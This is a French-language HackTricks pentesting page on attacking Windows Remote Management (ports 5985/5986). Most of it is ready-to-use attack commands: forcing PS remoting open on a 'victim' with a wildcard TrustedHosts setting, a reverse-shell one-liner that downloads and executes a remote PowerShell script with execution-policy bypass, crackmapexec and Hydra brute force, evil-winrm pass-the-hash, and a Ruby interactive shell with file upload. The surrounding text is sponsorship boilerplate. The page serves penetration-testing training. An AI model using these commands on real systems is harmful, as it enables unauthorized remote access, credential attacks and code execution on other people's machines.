hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2023-06-03 13:10:46 +00:00

309 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - Pentesting WinRM
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
## WinRM
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) est un protocole Microsoft qui **permet la gestion à distance des machines Windows** via HTTP(S) en utilisant SOAP. À l'arrière-plan, il utilise WMI, vous pouvez donc le considérer comme une API basée sur HTTP pour WMI.
Si WinRM est activé sur la machine, il est facile d'administrer la machine à distance depuis PowerShell. En fait, vous pouvez simplement entrer dans une session PowerShell à distance sur la machine (comme si vous utilisiez SSH !)
La manière la plus simple de détecter si WinRM est disponible est de voir si le port est ouvert. WinRM écoutera sur l'un des deux ports :
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Si l'un de ces ports est ouvert, WinRM est configuré et vous pouvez essayer d'entrer dans une session à distance.
## **Initiation d'une session WinRM**.
Nous pouvons configurer PowerShell pour travailler avec WinRM. Selon la documentation Microsoft, Enable-PSRemoting est une cmdlet qui configure l'ordinateur pour recevoir des commandes PowerShell à distance. Si nous avons accès à une invite PowerShell élevée sur la victime, nous pouvons l'activer et ajouter tous les "attaquants" en tant qu'hôtes de confiance. Nous pouvons exécuter les deux commandes suivantes :
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Cela ajoute un joker à la configuration de trustedhosts. Soyez prudent quant à ce que cela implique. _Note: J'ai également dû changer le type de réseau sur ma machine d'attaque de "Public" à "Work"._
Vous pouvez également **activer** WinRM **à distance** _\*\*\_en utilisant \_wmic_:
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### Tester si configuré
Une fois que la machine d'attaque est configurée, utilisez la fonction `Test-WSMan` pour tester si la cible est configurée pour WinRM. Vous devriez voir des informations renvoyées sur la version du protocole et wsmid :
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
Dans ce cas, le premier est configuré et le deuxième ne l'est pas.
### Exécuter une commande
Maintenant, nous pouvons utiliser la commande `Invoke-Command` de PowerShell pour exécuter à distance une commande sur la cible via WinRM. Pour exécuter à distance `ipconfig` et voir la sortie :
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
Vous pouvez également **exécuter une commande de votre console PS actuelle via** _**Invoke-Command**_. Supposons que vous ayez localement une fonction appelée _**enumeration**_ et que vous souhaitez **l'exécuter sur un ordinateur distant**, vous pouvez faire:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Exécuter un script
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Obtenir un shell inversé
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obtenir une session PS
Ou, si vous voulez entrer directement dans une session PowerShell interactive, utilisez la fonction `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**La session s'exécutera dans un nouveau processus (wsmprovhost) à l'intérieur de la "victime"**
### **Forcer l'ouverture de WinRM**
Si vous voulez vraiment utiliser PS Remoting et WinRM mais que la cible n'est pas configurée pour cela, vous pouvez "forcer" l'ouverture grâce à une seule commande. Je ne recommanderais pas cela, mais si vous voulez vraiment utiliser WinRM ou PSRemoting, alors faites-le de cette façon. Par exemple, en utilisant PSExec :
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
Maintenant, nous pouvons entrer dans une session PS à distance sur la victime.
### Enregistrer et restaurer des sessions
Cela **ne fonctionnera pas** si la **langue** est **restreinte** sur l'ordinateur distant.
```ruby
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Dans cette session, vous pouvez charger des scripts PS en utilisant _Invoke-Command_.
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Erreurs
Si vous rencontrez l'erreur suivante :
`enter-pssession : La connexion au serveur distant 10.10.10.175 a échoué avec le message d'erreur suivant : Le client WinRM ne peut pas traiter la demande. Si le schéma d'authentification est différent de Kerberos, ou si l'ordinateur client n'est pas joint à un domaine, le transport HTTPS doit être utilisé ou la machine de destination doit être ajoutée à l'option de configuration TrustedHosts. Utilisez winrm.cmd pour configurer TrustedHosts. Notez que les ordinateurs de la liste TrustedHosts peuvent ne pas être authentifiés. Vous pouvez obtenir plus d'informations à ce sujet en exécutant la commande suivante : winrm help config. Pour plus d'informations, consultez le sujet d'aide about_Remote_Troubleshooting.`
Essayez sur le client (informations provenant [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)) :
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
## Connexion WinRM sous Linux
### Brute Force
Attention, le brute-forcing de WinRM pourrait bloquer les utilisateurs.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Utilisation d'evil-winrm
```ruby
gem install evil-winrm
```
Lisez la **documentation** sur son github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Pour utiliser evil-winrm pour se connecter à une adresse IPv6, créez une entrée dans _**/etc/hosts**_ en définissant un **nom de domaine** pour l'adresse IPv6 et connectez-vous à ce domaine.
### Passer le hash avec evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
### Utilisation d'une machine PS-docker
![](<../.gitbook/assets/image (173).png>)
###
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Utilisation d'un script ruby
Code extrait d'ici: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## Références
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## Commandes Automatiques HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
🐞 Lisez des tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>